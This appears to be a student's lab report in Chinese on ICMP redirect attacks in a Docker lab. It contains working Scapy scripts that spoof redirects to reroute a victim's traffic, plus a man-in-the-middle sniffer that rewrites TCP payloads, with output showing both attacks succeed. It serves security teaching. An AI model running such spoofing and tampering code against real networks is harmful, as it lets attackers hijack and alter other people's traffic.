# lab3

57118104 郭雅琪

## 1

进入victim主机，通过ip route 命令查看路由表。

```
root@331f02905a5b:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
```

在victim主机中ping 192.168.60.5

```
root@331f02905a5b:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.114 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.146 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.102 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.067 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.069 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.104 ms
```

与此同时在attacker主机中运行下面的代码。

```
from scapy.all import *

ip=IP(src="10.9.0.11", dst="10.9.0.5")
icmp=ICMP(type=5,code=0)
icmp.gw="10.9.0.111"
ip2=IP(src="10.9.0.5",dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

此时在victim主机中的另一个终端中查看路由信息缓存，到达192.168.60.5的报文通过了10.9.0.111，攻击成功。

```
root@331f02905a5b:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 257sec
```

同时查看traceroute，报文通过10.9.0.111和10.9.0.11转发后到达192.168.60.5。

```
                          My traceroute  [v0.93]
331f02905a5b (10.9.0.5)                                2021-07-14T09:38:49+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets               Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                  0.0%    13    0.1   0.1   0.1   0.1   0.0
 2. 10.9.0.11                   0.0%    13    0.1   0.2   0.1   0.8   0.2
 3. 192.168.60.5                0.0%    12    0.1   0.1   0.1   0.2   0.0
```

## Q1

尝试重定向到子网内某一远程主机。将代码做如下修改：

```
from scapy.all import *

ip=IP(src="10.9.0.11", dst="10.9.0.5")
icmp=ICMP(type=5,code=0)
icmp.gw="192.68.60.6"
ip2=IP(src="10.9.0.5",dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

重复上述步骤，攻击并不成功。路由缓存仍是默认路由。

```
root@331f02905a5b:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache
```

traceroute中，报文也没有经过192.68.60.6。

```
                           My traceroute  [v0.93]
331f02905a5b (10.9.0.5)                               2021-07-14T11:10:50+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StdDev
 1. 10.9.0.11                  0.0%     7    0.1   0.1   0.1   0.2   0.0
 2. 192.168.60.5               0.0%     6    0.2   0.1   0.1   0.2   0.0
```

## Q2

尝试重定向到子网内不存在的地址。将代码做如下修改：

```
from scapy.all import *

ip=IP(src="10.9.0.11", dst="10.9.0.5")
icmp=ICMP(type=5,code=0)
icmp.gw="10.9.0.99"
ip2=IP(src="10.9.0.5",dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

重定向失败。

```
root@331f02905a5b:/# ip route flush cache
root@331f02905a5b:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache
```

```
                           My traceroute  [v0.93]
331f02905a5b (10.9.0.5)                               2021-07-14T11:13:20+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StdDev
 1. 10.9.0.11                  0.0%     6    0.1   0.1   0.1   0.2   0.1
 2. 192.168.60.5               0.0%     5    0.1   0.3   0.1   0.5   0.2
```

## Q3

修改docker配置文件中的内容，重启docker后重新进行攻击。

```
sysctls:
        - net.ipv4.ip_forward=1
        - net.ipv4.conf.all.send_redirects=1
        - net.ipv4.conf.default.send_redirects=1
        - net.ipv4.conf.eth0.send_redirects=1
```

重复攻击，攻击不成功。

```
root@331f02905a5b:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache
```

## 2

在task1的基础上，对报文内容进行修改。在victim主机和host主机之间使用nc建立连接。

```
root@be82a1023874:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
57118104
```

```
root@e2b69ff2346d:/# nc -lp 9090
57118104
```

修改docker配置文件中的net.ipv4.ip_forward选项，拦截从victim通过10.9.0.111发往192.168.60.5的报文。

```
sysctls:
        - net.ipv4.ip forward=0
```

这时，同task1进行相同的操作。从victim主机ping 192.168.60.5 ，并在attacker主机上运行task1中的攻击代码，将icmp报文重定向到10.9.0.111上。在10.9.0.111上运行如下代码：

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'guoyaqi', b'AAAAAAA')
```

```
        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

此时在victim端发送guoyaqi，在host主机上即可收到AAAAAAA，发送内容被更改。

```
root@c25681928d98:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
test
guoyaqi
```

```
root@a90b0b1f085c:/# nc -lp 9090
test
AAAAAAA
```

而此时10.9.0.111端不断发送报文。

```
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
.
Sent 1 packets.
*** b'AAAAAAA\n', length: 8
```

## Q4

脚本中仅捕获了从10.9.0.5发往192.168.60.5的数据包。因为攻击的目标是修改受害者到目的地址的数据包，所以只需要修改单向数据包。

## Q5

以IP地址为过滤器时，恶意路由器上会不断发送数据包。以MAC地址过滤时，恶意路由器只发送一个数据包。将代码做如下修改：

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")
```

```python
def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'guoyaqi', b'AAAAAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05 and dst host
192.168.60.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

运行后发现，在修改发送内容的情况下，10.9.0.111上只发送一个数据包。

```
root@c25681928d98:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
guoyaqi
```

```
root@a90b0b1f085c:/# nc -lp 9090
AAAAAAA
```

```
root@06373415d5e4:/volumes# python3 mitm_sample.py
LAUNCHING MITM ATTACK.........
*** b'guoyaqi\n', length: 8
.
Sent 1 packets.
```

原因是根据IP地址进行过滤，恶意路由会不断捕捉到自己发送的数据包，从而导致不停循环。如果以MAC地址作为过滤器，只有10.9.0.5发出的包会被捕捉到，因此只发送一个数据包就停止。